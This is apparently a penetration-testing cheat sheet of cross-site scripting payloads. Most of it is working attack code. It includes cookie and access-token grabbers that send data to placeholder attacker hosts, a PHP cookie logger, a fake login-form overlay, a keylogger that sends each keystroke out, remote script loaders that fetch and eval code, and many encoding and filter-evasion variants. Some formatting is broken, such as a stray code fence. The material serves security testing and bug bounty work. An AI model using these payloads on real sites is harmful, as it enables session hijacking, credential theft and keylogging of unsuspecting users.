 ## Methodology
 
 Cross-Site Scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS allows attackers to inject malicious code into a website, which is then executed in the browser of anyone who visits the site. This can allow attackers to steal sensitive information, such as user login credentials, or to perform other malicious actions.
 
 There are 3 main types of XSS attacks:
 
 - **Reflected XSS**: In a reflected XSS attack, the malicious code is embedded in a link that is sent to the victim. When the victim clicks on the link, the code is executed in their browser. For example, an attacker could create a link that contains malicious JavaScript, and send it to the victim in an email. When the victim clicks on the link, the JavaScript code is executed in their browser, allowing the attacker to perform various actions, such as stealing their login credentials.
 
 - **Stored XSS**: In a stored XSS attack, the malicious code is stored on the server, and is executed every time the vulnerable page is accessed. For example, an attacker could inject malicious code into a comment on a blog post. When other users view the blog post, the malicious code is executed in their browsers, allowing the attacker to perform various actions.
 
 - **DOM-based XSS**: is a type of XSS attack that occurs when a vulnerable web application modifies the DOM (Document Object Model) in the user's browser. This can happen, for example, when a user input is used to update the page's HTML or JavaScript code in some way. In a DOM-based XSS attack, the malicious code is not sent to the server, but is instead executed directly in the user's browser. This can make it difficult to detect and prevent these types of attacks, because the server does not have any record of the malicious code.
 
 To prevent XSS attacks, it is important to properly validate and sanitize user input. This means ensuring that all input meets the necessary criteria, and removing any potentially dangerous characters or code. It is also important to escape special characters in user input before rendering it in the browser, to prevent the browser from interpreting it as code.
 
 ## Proof of Concept
 
 When exploiting an XSS vulnerability, it’s more effective to demonstrate a complete exploitation scenario that could lead to account takeover or sensitive data exfiltration. Instead of simply reporting an XSS with an alert payload, aim to capture valuable data, such as payment information, personal identifiable information (PII), session cookies, or credentials.
 
 ### Data Grabber
 
 Obtains the administrator cookie or sensitive access token, the following payload will send it to a controlled page.
 
 ```html
 <script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>
 <script>document.location='http://localhost/XSS/grabber.php?c='+localStorage.getItem('access_token')</script>
 <script>new Image().src="http://localhost/cookie.php?c="+document.cookie;</script>
 <script>new Image().src="http://localhost/cookie.php?c="+localStorage.getItem('access_token');</script>
 ```
 
 Write the collected data into a file.
 
 ```php
 <?php
 $cookie = $_GET['c'];
 $fp = fopen('cookies.txt', 'a+');
 fwrite($fp, 'Cookie:' .$cookie."\r\n");
 fclose($fp);
 ?>
 ```
 
 ### CORS
 
 ```html
 <script>
   fetch('https://[ATTACKER.DOMAIN.TLD]', {
   method: 'POST',
   mode: 'no-cors',
   body: document.cookie
   });
 </script>
 ```
 
 ### UI Redressing
 
 Leverage the XSS to modify the HTML content of the page in order to display a fake login form.
 
 ```html
 <script>
 history.replaceState(null, null, '../../../login');
 document.body.innerHTML = "</br></br></br></br></br><h1>Please login to continue</h1><form>Username: <input type='text'>Password: <input type='password'></form><input value='submit' type='submit'>"
 </script>
 ```
 
 ### Javascript Keylogger
 
 Another way to collect sensitive data is to set a javascript keylogger.
 
 ```javascript
 <img src=x onerror='document.onkeypress=function(e){fetch("http://[ATTACKER.DOMAIN.TLD]/?k="+String.fromCharCode(e.which))},this.remove();'>
 ```

 ## Identify an XSS Endpoint
 
 This payload opens the debugger in the developer console rather than triggering a popup alert box.
 
 ```javascript
 <script>debugger;</script>
 ```
 
 Modern applications with content hosting can use [sandbox domains][sandbox-domains]
 
 > to safely host various types of user-generated content. Many of these sandboxes are specifically meant to isolate user-uploaded HTML, JavaScript, or Flash applets and make sure that they can't access any user data.
 
 [sandbox-domains]:https://security.googleblog.com/2012/08/content-hosting-for-modern-web.html
 
 For this reason, it's better to use `alert(document.domain)` or `alert(window.origin)` rather than `alert(1)` as default XSS payload in order to know in which scope the XSS is actually executing.
 
 Better payload replacing `<script>alert(1)</script>`:
 
 ```html
 <script>alert(document.domain.concat("\n").concat(window.origin))</script>
 ```
 
 While `alert()` is nice for reflected XSS it can quickly become a burden for stored XSS because it requires to close the popup for each execution, so `console.log()` can be used instead to display a message in the console of the developer console (doesn't require any interaction).
 
 Example:
 
 ```html
 <script>console.log("Test XSS from the search bar of page XYZ\n".concat(document.domain).concat("\n").concat(window.origin))</script>
 ```

 <div onpointermove="alert(45)">MOVE HERE</div>
 <div onpointerout="alert(45)">MOVE HERE</div>
 <div onpointerup="alert(45)">MOVE HERE</div>
 ```
 
 ### XSS using HTML5 tags
 
 ```javascript
 <body onload=alert(/XSS/.source)>
 <input autofocus onfocus=alert(1)>
 <select autofocus onfocus=alert(1)>
 <textarea autofocus onfocus=alert(1)>
 <keygen autofocus onfocus=alert(1)>
 <video/poster/onerror=alert(1)>
 <video><source onerror="javascript:alert(1)">
 <video src=_ onloadstart="alert(1)">
 <details/open/ontoggle="alert`1`">
 <audio src onloadstart=alert(1)>
 <marquee onstart=alert(1)>
 <meter value=2 min=0 max=10 onmouseover=alert(1)>2 out of 10</meter>
 
 <body ontouchstart=alert(1)> // Triggers when a finger touch the screen
 <body ontouchend=alert(1)>   // Triggers when a finger is removed from touch screen
 <body ontouchmove=alert(1)>  // When a finger is dragged across the screen.
 ```
 
 ### XSS using a remote JS
 
 ```html
 <svg/onload='fetch("//host/a").then(r=>r.text().then(t=>eval(t)))'>
 <script src=14.rs>
 // you can also specify an arbitrary payload with 14.rs/#payload
 e.g: 14.rs/#alert(document.domain)
 ```
 
 ### XSS in Hidden Input
 
 ```javascript
 <input type="hidden" accesskey="X" onclick="alert(1)">
 Use CTRL+SHIFT+X to trigger the onclick event
 ```
 
 in newer browsers : firefox-130/chrome-108
 
 ```javascript
 <input type="hidden" oncontentvisibilityautostatechange="alert(1)"  style="content-visibility:auto" >
 ```
 
 ### XSS in Uppercase Output
 
 ```javascript
 <IMG SRC=1 ONERROR=&#X61;&#X6C;&#X65;&#X72;&#X74;(1)>
 ```
 
 ### DOM Based XSS
 
 Based on a DOM XSS sink.
 
 ```javascript
 #"><img src=/ onerror=alert(2)>
 ```
 
 ### XSS in JS Context
 
 ```javascript
 -(confirm)(document.domain)//
 ; alert(1);//
 // (payload without quote/double quote from [@brutelogic](https://twitter.com/brutelogic)
 ```
 
 ## XSS in Wrappers for URI
 
 ### Wrapper javascript
 
 ```javascript
 javascript:prompt(1)
 
 %26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341
 
 &#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#114&#109&#40&#49&#41
 
 We can encode the "javascript:" in Hex/Octal
 \x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
 \u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
 \152\141\166\141\163\143\162\151\160\164\072alert(1)
 
 We can use a 'newline character'
 java%0ascript:alert(1)   - LF (\n)
 java%09script:alert(1)   - Horizontal tab (\t)
 java%0dscript:alert(1)   - CR (\r)
 
 Using the escape character
 \j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
 
 Using the newline and a comment //
 javascript://%0Aalert(1)
 javascript://anything%0D%0A%0D%0Awindow.alert(1)
 ```
 
 ### Wrapper data
 
 ```javascript
 data:text/html,<script>alert(0)</script>
 data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
 <script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
 ```
 
 ### Wrapper vbscript
 
 only IE
 
 ```javascript
 vbscript:msgbox("XSS")
 ```
 
 ## XSS in Files
 
 **NOTE:** The XML CDATA section is used here so that the JavaScript payload will not be treated as XML markup.
 
 ```xml
 <name>
   <value><![CDATA[<script>confirm(document.domain)</script>]]></value>
 </name>
 ```
 
 ### XSS in XML
 
 ```xml
 <html>
 <head></head>
 <body>
 <something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
 </body>
 </html>
 ```
 
 ### XSS in SVG
 
 Simple script. Codename: green triangle
 
 ```xml
 <?xml version="1.0" standalone="no"?>
 <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
 
 <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
   <script type="text/javascript">
     alert(document.domain);
   </script>
 </svg>
 ```
 
 More comprehensive payload with svg tag attribute, desc script, foreignObject script, foreignObject iframe, title script, animatetransform event and simple script. Codename: red ligthning. Author: noraj.
 
 ```xml
 <?xml version="1.0" standalone="no"?>
 <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
 
 <svg version="1.1" baseProfile="full" width="100" height="100" xmlns="http://www.w3.org/2000/svg" onload="alert('svg attribut')">
   <polygon id="lightning" points="0,100 50,25 50,75 100,0" fill="#ff1919" stroke="#ff0000"/>
   <desc><script>alert('svg desc')</script></desc>
   <foreignObject><script>alert('svg foreignObject')</script></foreignObject>
   <foreignObject width="500" height="500">
     <iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert('svg foreignObject iframe');" width="400" height="250"/>
   </foreignObject>
   <title><script>alert('svg title')</script></title>
   <animatetransform onbegin="alert('svg animatetransform onbegin')"></animatetransform>
   <script type="text/javascript">
     alert('svg script');
   </script>
 </svg>
 ```
 
 #### Short SVG Payload
 
 ```javascript
 <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
 
 <svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
 <svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
 <svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>
 ```
 
 ### Nesting SVG and XSS
 
 Including a remote SVG image in a SVG works but won't trigger the XSS embedded in the remote SVG. Author: noraj.
 
 SVG 1.x (xlink:href)
 
 ```xml
 <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
   <image xlink:href="http://10.10.10.10:9999/red_lightning_xss_full.svg" height="200" width="200"/>
 </svg>
 ```
 
 Including a remote SVG fragment in a SVG works but won't trigger the XSS embedded in the remote SVG element because it's impossible to add vulnerable attribute on a polygon/rect/etc since the `style` attribute is no longer a vector on modern browsers. Author: noraj.
 
 SVG 1.x (xlink:href)
 
 ```xml
 <svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
   <use xlink:href="http://10.10.10.10:9999/red_lightning_xss_full.svg#lightning"/>
 </svg>
 ```
 
 However, including svg tags in SVG documents works and allows XSS execution from sub-SVGs. Codename: french flag. Author: noraj.
 
 ```xml
 <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
   <svg x="10">
     <rect x="10" y="10" height="100" width="100" style="fill: #002654"/>
     <script type="text/javascript">alert('sub-svg 1');</script>
   </svg>
   <svg x="200">
     <rect x="10" y="10" height="100" width="100" style="fill: #ED2939"/>
     <script type="text/javascript">alert('sub-svg 2');</script>
   </svg>
 </svg>
 ```
 
 ### XSS in Markdown
 
 ```csharp
 [a](javascript:prompt(document.cookie))
 [a](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/3ac27901c711/XSS%20Injection/j%20a%20v%20a%20s%20c%20r%20i%20p%20t%3Aprompt%28document.cookie))
 [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
 [a](javascript:window.onerror=alert;throw%201)
 ```
 
 ### XSS in CSS
 
 ```html
 <!DOCTYPE html>
 <html>
 <head>
 <style>
 div  {
     background-image: url("data:image/jpg;base64,<\/style><svg/onload=alert(document.domain)>");
     background-color: #cccccc;
 }
 </style>
 </head>
   <body>
     <div>lol</div>
   </body>
 </html>
 ```
 
 ## XSS in PostMessage
 
 > If the target origin is asterisk * the message can be sent to any domain has reference to the child page.
 
 ```html
 <html>
 <body>
     <input type=button value="Click Me" id="btn">
 </body>
 
 <script>
 document.getElementById('btn').onclick = function(e){
     window.poc = window.open('http://10.10.10.10/#login');
     setTimeout(function(){
         window.poc.postMessage(
             {
                 "sender": "accounts",
                 "url": "javascript:confirm('XSS')",
             },
             '*'
         );
     }, 2000);
 }
 </script>
 </html>
 ```
 
 ## Blind XSS
 
 ### XSS Hunter
 
 > XSS Hunter allows you to find all kinds of cross-site scripting vulnerabilities, including the often-missed blind XSS. The service works by hosting specialized XSS probes which, upon firing, scan the page and send information about the vulnerable page to the XSS Hunter service.
 
 XSS Hunter is deprecated, it was available at [https://xsshunter.com](https://web.archive.org/web/20180528161032/https://xsshunter.com/features).
 
 You can set up an alternative version.
 
 - Self-hosted version from [mandatoryprogrammer/xsshunter-express](https://github.com/mandatoryprogrammer/xsshunter-express)
 - Hosted on [xsshunter.trufflesecurity.com](https://xsshunter.trufflesecurity.com/)
 
 ```xml
 "><script src="https://js.rip/[ATTACKER.DOMAIN.TLD]"></script>
 "><script src=//[ATTACKER.DOMAIN.TLD]></script>
 <script>$.getScript("//[ATTACKER.DOMAIN.TLD]")</script>
 ```
 
 ### Other Blind XSS tools
 
 - [Netflix-Skunkworks/sleepy-puppy](https://github.com/Netflix-Skunkworks/sleepy-puppy) - Sleepy Puppy XSS Payload Management Framework
 - [LewisArdern/bXSS](https://github.com/LewisArdern/bXSS) - bXSS is a utility which can be used by bug hunters and organizations to identify Blind Cross-Site Scripting.
 - [ssl/ezXSS](https://github.com/ssl/ezXSS) - ezXSS is an easy way for penetration testers and bug bounty hunters to test (blind) Cross Site Scripting.
 
 ### Blind XSS endpoint
 
 - Contact forms
 - Ticket support
 - Referer Header
     - Custom Site Analytics
     - Administrative Panel logs
 - User Agent
     - Custom Site Analytics
     - Administrative Panel logs
 - Comment Box
     - Administrative Panel
 
 ### Tips
 
 You can use a [data grabber for XSS](#data-grabber) and a one-line HTTP server to confirm the existence of a blind XSS before deploying a heavy blind-XSS testing tool.
 
 Eg. payload
 
 ```html
 <script>document.location='http://[ATTACKER.DOMAIN.TLD]/XSS/grabber.php?c='+document.domain</script>
 ```
 
 Eg. one-line HTTP server:
 
 ```ps1
 ruby -run -ehttpd . -p8080
 ```
 
 ## Mutated XSS
 
 Use browsers quirks to recreate some HTML tags.
 
 **Example**: Mutated XSS from Masato Kinugawa, used against [cure53/DOMPurify](https://github.com/cure53/DOMPurify) component on Google Search.
 
 ```javascript
 <noscript><p title="</noscript><img src=x onerror=alert(1)>">
 ```
